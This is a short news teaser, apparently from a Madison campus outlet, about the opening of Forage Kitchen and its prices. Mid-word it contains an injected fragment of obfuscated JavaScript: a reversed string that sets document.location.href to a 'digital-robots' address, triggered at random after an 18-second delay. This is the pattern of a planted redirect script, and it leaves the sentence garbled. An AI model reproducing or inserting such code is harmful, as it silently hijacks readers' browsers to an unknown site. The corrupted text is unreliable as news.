MADISON, Wis. – Forage Kitchen opened last Sunday and provides healthy food alternatives on campus, but what will it cost you? The Badger Report’s Colleen Degnan has the stobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tory.

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